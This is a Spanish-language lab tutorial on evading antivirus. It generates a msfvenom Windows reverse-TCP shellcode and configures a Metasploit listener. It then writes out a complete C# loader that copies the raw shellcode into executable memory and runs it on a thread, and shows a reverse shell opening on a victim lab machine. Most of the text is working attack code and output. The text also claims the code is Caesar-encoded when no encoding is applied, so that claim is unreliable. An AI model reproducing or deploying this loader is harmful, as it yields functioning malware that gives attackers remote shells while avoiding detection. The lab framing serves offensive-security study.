Evasión de antivirus con C - Parte 1

En este caso vamos a utilizar kali como nuestra maquina de atacante, pero tambien vamos a utilizar el Windows que instalamos para el Active Directory en concreto la maquina WS01 como nuestra maquina atacante tambien, para poder realizar el codigo en C# con nuestro Visual Studio, por lo que tendremos 2 maquinas atacantes, para ello tendremos que desactivar el Windows Defender en la maquina de WS01 ya que es nuestra maquina atacante.

Pero la maquina de Windows en concreto la WS02 actuara como la maquina victima en este caso, para poder realizar las pruebas de evasion de antivirus.

Estas tecnicas que vamos a ver no solo sirve para evadir antivirus de Windows Defender, tambien sirve para casi cualquier antivirus que se tenga en un equipo.

Vamos a crear un malware con msfvenom que posiblemente sea el binario mas detectado para casi cualquier antivirus ya que lo genera la herramienta msfvenom y con este podremos ver como evadir esa seguridad.

msfvenom --platform windows -p windows/shell/reverse_tcp LHOST=192.168.5.205 LPORT=7777 -f exe > shell.exe

Y en otra terminal, vamos a estar a la escucha mediante metasploit:

msfconsole -q

Despues seleccionamos la escucha:

use multi/handler

Ahora lo configuramos de la siguiente forma:

set payload windows/shell/reverse_tcp
set LHOST 192.168.5.205
set LPORT 7777
run

Ahora si nos pasamos el binario que hemos generado al equipo WS02 directamente nos va a saltar el antivirus y nos lo va a eliminar automaticamente.

Para poder evadir estas medidas lo que vamos hacer es realizar todo esto en codigo cesar para que asi le cueste mas a los antivirus de detectar ese codigo malicioso, vamos a irnos a la maquina WS01 y vamos abrir Visual Studio 2022 el cual ya tendremos instalado de cuando tuvimos que compilar el binario de Rubeus.

Vamos a darle a Crear un proyecto -> vamos a filtrar por la siguiente informacion C#, despues Windows y por ultimo Consola -> seleccionaremos el llamado Aplicacion de consola (.NET framework) -> Siguiente -> lo nombraremos como testshell -> Crear.

Cuando lo tengamos creado, el codigo que viene por defecto lo eliminamos entero ya que no nos va hacer falta, vamos a importar algunas librerias que nos va hacer falta junto con el codigo que vamos a utilizar:

using System;
using System.Collections.Generic;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;

namespace WIn32

{
    class Program
    {

        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]

        static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

        [DllImport("kernel32.dll")]

        static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddess, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

        [DllImport("kernel32.dll")]

        static extern UInt32 WaitForSingleObject(IntPtr hHandler, UInt32 dwMilliseconds);

        static void Main (string[] args)
        {

            byte[] buf = new byte[354] {0xfc,0xe8,0x8f,0x00,0x00,0x00,
0x60,0x31,0xd2,0x89,0xe5,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,
0x8b,0x52,0x14,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x8b,0x72,0x28,
0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,
0x01,0xc7,0x49,0x75,0xef,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,
0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4c,0x01,0xd0,
0x8b,0x48,0x18,0x8b,0x58,0x20,0x50,0x01,0xd3,0x85,0xc9,0x74,
0x3c,0x49,0x31,0xff,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xc0,0xac,
0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,
0x3b,0x7d,0x24,0x75,0xe0,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,
0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,
0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,
0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xe9,0x80,0xff,0xff,0xff,0x5d,
0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,
0x4c,0x77,0x26,0x07,0x89,0xe8,0xff,0xd0,0xb8,0x90,0x01,0x00,
0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,
0x6a,0x0a,0x68,0xc0,0xa8,0x05,0xcd,0x68,0x02,0x00,0x1e,0x61,
0x89,0xe6,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,
0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x10,0x56,0x57,0x68,0x99,
0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0xff,0x4e,0x08,
0x75,0xec,0xe8,0x67,0x00,0x00,0x00,0x6a,0x00,0x6a,0x04,0x56,
0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7e,
0x36,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,
0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,
0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,
0x00,0x7d,0x28,0x58,0x68,0x00,0x40,0x00,0x00,0x6a,0x00,0x50,
0x68,0x0b,0x2f,0x0f,0x30,0xff,0xd5,0x57,0x68,0x75,0x6e,0x4d,
0x61,0xff,0xd5,0x5e,0x5e,0xff,0x0c,0x24,0x0f,0x85,0x70,0xff,
0xff,0xff,0xe9,0x9b,0xff,0xff,0xff,0x01,0xc3,0x29,0xc6,0x75,
0xc1,0xc3,0xbb,0xf0,0xb5,0xa2,0x56,0x6a,0x00,0x53,0xff,0xd5
};
            Console.WriteLine();
            Console.ForegroundColor = ConsoleColor.Gray;
            Console.WriteLine("Iniciando sesion reversa");

            IntPtr funcAdrr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);
            Marshal.Copy(buf, 0, funcAdrr, buf.Length);
            IntPtr hThread = CreateThread(IntPtr.Zero, 0, funcAdrr, IntPtr.Zero, 0, IntPtr.Zero);
            WaitForSingleObject(hThread, 0xffffffff);

        }
    }

}

Dentro del Main lo que estamos haciendo es pegar ese payload que nos ha generado msfvenom se realizaria de la siguiente forma:

msfvenom --platform windows -p windows/shell/reverse_tcp LHOST=192.168.5.205 LPORT=7777 -f csharp

Info:

[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of csharp file: 1830 bytes
byte[] buf = new byte[354] {0xfc,0xe8,0x8f,0x00,0x00,0x00,
0x60,0x31,0xd2,0x89,0xe5,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,
0x8b,0x52,0x14,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x8b,0x72,0x28,
0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,
0x01,0xc7,0x49,0x75,0xef,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,
0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4c,0x01,0xd0,
0x8b,0x48,0x18,0x8b,0x58,0x20,0x50,0x01,0xd3,0x85,0xc9,0x74,
0x3c,0x49,0x31,0xff,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xc0,0xac,
0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,
0x3b,0x7d,0x24,0x75,0xe0,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,
0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,
0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,
0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xe9,0x80,0xff,0xff,0xff,0x5d,
0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,
0x4c,0x77,0x26,0x07,0x89,0xe8,0xff,0xd0,0xb8,0x90,0x01,0x00,
0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,
0x6a,0x0a,0x68,0xc0,0xa8,0x05,0xcd,0x68,0x02,0x00,0x1e,0x61,
0x89,0xe6,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,
0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x10,0x56,0x57,0x68,0x99,
0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0xff,0x4e,0x08,
0x75,0xec,0xe8,0x67,0x00,0x00,0x00,0x6a,0x00,0x6a,0x04,0x56,
0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7e,
0x36,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,
0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,
0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,
0x00,0x7d,0x28,0x58,0x68,0x00,0x40,0x00,0x00,0x6a,0x00,0x50,
0x68,0x0b,0x2f,0x0f,0x30,0xff,0xd5,0x57,0x68,0x75,0x6e,0x4d,
0x61,0xff,0xd5,0x5e,0x5e,0xff,0x0c,0x24,0x0f,0x85,0x70,0xff,
0xff,0xff,0xe9,0x9b,0xff,0xff,0xff,0x01,0xc3,0x29,0xc6,0x75,
0xc1,0xc3,0xbb,0xf0,0xb5,0xa2,0x56,0x6a,0x00,0x53,0xff,0xd5
};

En el script de cenar la funcion de VirtualAlloc donde el Main lo que hace es reservarnos una direccion de memoria donde se va a ejecutar este payload que nosotros tenemos en el codigo.

Le ponemos esto VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40); ya que estamos definiendo el espacio que en este caso sera 1000 y 3000 y despues le asignamos los permisos que en este caso es 0x40 que significa Lectura, Escritura y Ejecuccion.

Lo que vamos ha realizar con esto Marshal.Copy(buf, 0, funcAdrr, buf.Length); es copiar en el fragmento de memoria ese buf que es la variable del payload en la porcion de memoria que hemos definido llamada funAdrr y por ultimo con el buf.Lenght estamos definiendo el tamaño que en este caso es el que hemos definido en el payload anteriormente.

Ahora una vez que se haya copiado lo que vamos hacer es ejecutar ese payload seguidamente con IntPtr hThread = CreateThread(IntPtr.Zero, 0, funcAdrr, IntPtr.Zero, 0, IntPtr.Zero);.

Ahora para compilar el programa tendremos que darle a la pestaña de arriba llamada Compilar -> Generar testshell.

Info:

Compilación iniciada a las 12:24...
1>------ Operación Compilar iniciada: Proyecto: testshell, configuración: Debug Any CPU ------
1>  testshell -> C:\Users\empleado1\source\repos\testshell\testshell\bin\Debug\testshell.exe
========== Compilación: 1 correcto, 0 erróneo, 0 actualizado, 0 omitido ==========
========== Compilar completado a las 12:24 y tardó 06,357 segundos ==========

Por lo que vemos se compilo de forma correcta, por lo que ya tendremos nuestro binario preparado para ser ejecutado en la maquina victima llamada WS02 sin que salte el antivirus pudiendo evadirlo.

Nos vamos a la siguiente ruta que es donde estara nuestro binario.

PATH = C:\Users\empleado1\source\repos\testshell\testshell\bin\Debug\

Como nosotros ya estamos a la escucha en metasploit de antes, solamente tendremos que pasar este binario a la maquina victima.

Y esto no lo va a detectar ya que las firmas son mucho mas complicadas de que pueda ser detectado por un antivirus, ya que no es una firma normal, si no que esta modificada a nuestra forma.

En algunos casos puede ser detectado ya que el payload que estamos metiendo en el codigo es de msfvenom, pero podremos modificar eso para que sea nuestro porpio payload ya asi sea aun mas invisible.

Ahora si nosotros ejecutamos el binario veremos la consola del mensaje que pusimos:

![[Pasted image 20250205123125.png]]

Y si ahora nos vamos a donde tenemos la escucha en msfconsole veremos lo siguiente:

[*] Started reverse TCP handler on 192.168.5.205:7777 
[*] Sending stage (240 bytes) to 192.168.5.208
[*] Command shell session 1 opened (192.168.5.205:7777 -> 192.168.5.208:50362) at 2025-02-05 06:31:19 -0500


Shell Banner:
Microsoft Windows [Versi_n 10.0.19045.3803]
-----
          

C:\Users\empleado2\source\repos\testshell\testshell\bin\Debug>whoami
whoami
corp\empleado2

Vemos que efectivamente hemos obtenido una reverse shell.

Last updated